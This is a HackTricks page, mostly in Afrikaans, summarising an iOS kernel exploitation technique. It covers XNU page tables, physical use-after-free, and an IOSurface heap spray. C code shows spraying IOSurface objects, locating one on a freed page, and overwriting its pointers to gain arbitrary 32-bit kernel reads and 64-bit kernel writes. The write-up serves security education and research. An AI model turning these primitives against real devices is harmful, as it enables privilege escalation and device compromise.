# iOS Exploiting {{#include /banners/hacktricks-training.md}} ## Fisiese gebruik-na-vry Dit is 'n opsomming van die pos van [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) verder kan meer inligting oor die ontginning met hierdie tegniek gevind word in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) ### Geheuebestuur in XNU Die **virtuele geheue-adresruimte** vir gebruikersprosesse op iOS strek van **0x0 tot 0x8000000000**. Hierdie adresse is egter nie direk aan fisiese geheue gekoppel nie. In plaas daarvan gebruik die **kernel** **bladsy tabelle** om virtuele adresse in werklike **fisiese adresse** te vertaal. #### Vlakke van Bladsy Tabel in iOS Bladsy tabelle is hiërargies georganiseer in drie vlakke: 1. **L1 Bladsy Tabel (Vlak 1)**: * Elke inskrywing hier verteenwoordig 'n groot reeks van virtuele geheue. * Dit dek **0x1000000000 bytes** (of **256 GB**) van virtuele geheue. 2. **L2 Bladsy Tabel (Vlak 2)**: * 'n Inskrywing hier verteenwoordig 'n kleiner gebied van virtuele geheue, spesifiek **0x2000000 bytes** (32 MB). * 'n L1 inskrywing kan na 'n L2 tabel verwys as dit nie die hele gebied self kan kaart nie. 3. **L3 Bladsy Tabel (Vlak 3)**: * Dit is die fynste vlak, waar elke inskrywing 'n enkele **4 KB** geheue bladsy kaart. * 'n L2 inskrywing kan na 'n L3 tabel verwys as meer fyn beheer nodig is. #### Kaarting van Virtuele na Fisiese Geheue * **Direkte Kaarting (Blok Kaarting)**: * Sommige inskrywings in 'n bladsy tabel kaart direk **'n reeks van virtuele adresse** na 'n aaneengeskakelde reeks van fisiese adresse (soos 'n kortpad). * **Wys na Kind Bladsy Tabel**: * As fynere beheer nodig is, kan 'n inskrywing in een vlak (bv. L1) na 'n **kind bladsy tabel** op die volgende vlak (bv. L2) verwys. #### Voorbeeld: Kaarting van 'n Virtuele Adres Kom ons sê jy probeer om toegang te verkry tot die virtuele adres **0x1000000000**: 1. **L1 Tabel**: * Die kernel kyk na die L1 bladsy tabel inskrywing wat ooreenstem met hierdie virtuele adres. As dit 'n **wys na 'n L2 bladsy tabel** het, gaan dit na daardie L2 tabel. 2. **L2 Tabel**: * Die kernel kyk na die L2 bladsy tabel vir 'n meer gedetailleerde kaarting. As hierdie inskrywing na 'n **L3 bladsy tabel** verwys, gaan dit daarheen. 3. **L3 Tabel**: * Die kernel soek die finale L3 inskrywing, wat na die **fisiese adres** van die werklike geheue bladsy wys. #### Voorbeeld van Adres Kaarting As jy die fisiese adres **0x800004000** in die eerste indeks van die L2 tabel skryf, dan: * Virtuele adresse van **0x1000000000** tot **0x1002000000** kaart na fisiese adresse van **0x800004000** tot **0x802004000**. * Dit is 'n **blok kaarting** op die L2 vlak. Alternatiewelik, as die L2 inskrywing na 'n L3 tabel verwys: * Elke 4 KB bladsy in die virtuele adres reeks **0x1000000000 -> 0x1002000000** sal deur individuele inskrywings in die L3 tabel gekaart word. ### Fisiese gebruik-na-vry 'n **Fisiese gebruik-na-vry** (UAF) gebeur wanneer: 1. 'n Proses **toewys** 'n bietjie geheue as **leesbaar en skryfbaar**. 2. Die **bladsy tabelle** word opgedateer om hierdie geheue na 'n spesifieke fisiese adres te kaart wat die proses kan toegang. 3. Die proses **deallocate** (vry) die geheue. 4. Maar, as gevolg van 'n **fout**, vergeet die kernel om die kaarting uit die bladsy tabelle te verwyder, alhoewel dit die ooreenstemmende fisiese geheue as vry merk. 5. Die kernel kan dan **hertoewys hierdie "vrygemaakte" fisiese geheue** vir ander doeleindes, soos **kernel data**. 6. Aangesien die kaarting nie verwyder is nie, kan die proses steeds **lees en skryf** na hierdie fisiese geheue. Dit beteken die proses kan toegang verkry tot **bladsye van kernel geheue**, wat sensitiewe data of strukture kan bevat, wat moontlik 'n aanvaller in staat stel om **kernel geheue te manipuleer**. ### Ontginning Strategie: Heap Spray Aangesien die aanvaller nie kan beheer watter spesifieke kernel bladsye aan vrygemaakte geheue toegeken sal word nie, gebruik hulle 'n tegniek genaamd **heap spray**: 1. Die aanvaller **skep 'n groot aantal IOSurface-objekte** in kernel geheue. 2. Elke IOSurface-objek bevat 'n **magiese waarde** in een van sy velde, wat dit maklik maak om te identifiseer. 3. Hulle **skandeer die vrygemaakte bladsye** om te sien of enige van hierdie IOSurface-objekte op 'n vrygemaakte bladsy beland het. 4. Wanneer hulle 'n IOSurface-objek op 'n vrygemaakte bladsy vind, kan hulle dit gebruik om **te lees en te skryf na kernel geheue**. Meer inligting hieroor in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) ### Stap-vir-Stap Heap Spray Proses 1. **Spray IOSurface-Objekte**: Die aanvaller skep baie IOSurface-objekte met 'n spesiale identifiseerder ("magiese waarde"). 2. **Skandeer Vrygemaakte Bladsye**: Hulle kyk of enige van die objekke op 'n vrygemaakte bladsy toegeken is. 3. **Lees/Skryf Kernel Geheue**: Deur velde in die IOSurface-objek te manipuleer, verkry hulle die vermoë om **arbitraire lees en skryf** in kernel geheue uit te voer. Dit laat hulle toe: * Gebruik een veld om **enige 32-bit waarde** in kernel geheue te lees. * Gebruik 'n ander veld om **64-bit waardes** te skryf, wat 'n stabiele **kernel lees/skryf primitief** bereik. Genereer IOSurface-objekte met die magiese waarde IOSURFACE\_MAGIC om later vir te soek: ```c void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { if (*nClients >= 0x4000) return; for (int i = 0; i < nSurfaces; i++) { fast_create_args_t args; lock_result_t result; size_t size = IOSurfaceLockResultSize; args.address = 0; args.alloc_size = *nClients + 1; args.pixel_format = IOSURFACE_MAGIC; IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); io_connect_t id = result.surface_id; (*clients)[*nClients] = id; *nClients = (*nClients) += 1; } } ``` Soek na **`IOSurface`**-objekte in een vrygemaakte fisiese bladsy: ```c int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); int nSurfaceIDs = 0; for (int i = 0; i < 0x400; i++) { spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); for (int j = 0; j < nPages; j++) { uint64_t start = puafPages[j]; uint64_t stop = start + (pages(1) / 16); for (uint64_t k = start; k < stop; k += 8) { if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { info.object = k; info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; if (self_task) *self_task = iosurface_get_receiver(k); goto sprayDone; } } } } sprayDone: for (int i = 0; i < nSurfaceIDs; i++) { if (surfaceIDs[i] == info.surface) continue; iosurface_release(client, surfaceIDs[i]); } free(surfaceIDs); return 0; } ``` ### Bereik Kernel Lees/Skryf met IOSurface Na die verkryging van beheer oor 'n IOSurface objek in kernel geheue (gemap na 'n vrygestelde fisiese bladsy wat vanaf gebruikersruimte toeganklik is), kan ons dit gebruik vir **arbitraire kernel lees en skryf operasies**. **Belangrike Velde in IOSurface** Die IOSurface objek het twee belangrike velde: 1. **Gebruik Tel Punter**: Laat 'n **32-bit lees** toe. 2. **Geverifieerde Tydstempel Punter**: Laat 'n **64-bit skryf** toe. Deur hierdie punters te oorskryf, lei ons dit na arbitraire adresse in kernel geheue, wat lees/skryf vermoëns moontlik maak. #### 32-Bit Kernel Lees Om 'n lees uit te voer: 1. Oorskryf die **gebruik tel punter** om na die teiken adres minus 'n 0x14-byte offset te wys. 2. Gebruik die `get_use_count` metode om die waarde op daardie adres te lees. ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { uint64_t args[1] = {surfaceID}; uint32_t size = 1; uint64_t out = 0; IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); return (uint32_t)out; } uint32_t iosurface_kread32(uint64_t addr) { uint64_t orig = iosurface_get_use_count_pointer(info.object); iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 uint32_t value = get_use_count(info.client, info.surface); iosurface_set_use_count_pointer(info.object, orig); return value; } ``` #### 64-Bit Kernel Write Om 'n skrywe uit te voer: 1. Oorskryf die **geïndekseerde tydstempel-aanwyser** na die teikenadres. 2. Gebruik die `set_indexed_timestamp` metode om 'n 64-bit waarde te skryf. ```c void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { uint64_t args[3] = {surfaceID, 0, value}; IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); } void iosurface_kwrite64(uint64_t addr, uint64_t value) { uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); iosurface_set_indexed_timestamp_pointer(info.object, addr); set_indexed_timestamp(info.client, info.surface, value); iosurface_set_indexed_timestamp_pointer(info.object, orig); } ``` #### Exploit Flow Recap 1. **Trigger Physical Use-After-Free**: Vrye bladsye is beskikbaar vir hergebruik. 2. **Spray IOSurface Objects**: Allokeer baie IOSurface-objekte met 'n unieke "magic value" in die kerngeheue. 3. **Identify Accessible IOSurface**: Vind 'n IOSurface op 'n vrygestelde bladsy wat jy beheer. 4. **Abuse Use-After-Free**: Wysig wysers in die IOSurface-objek om arbitrêre **kern lees/skryf** via IOSurface-metodes moontlik te maak. With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices). {{#include /banners/hacktricks-training.md}}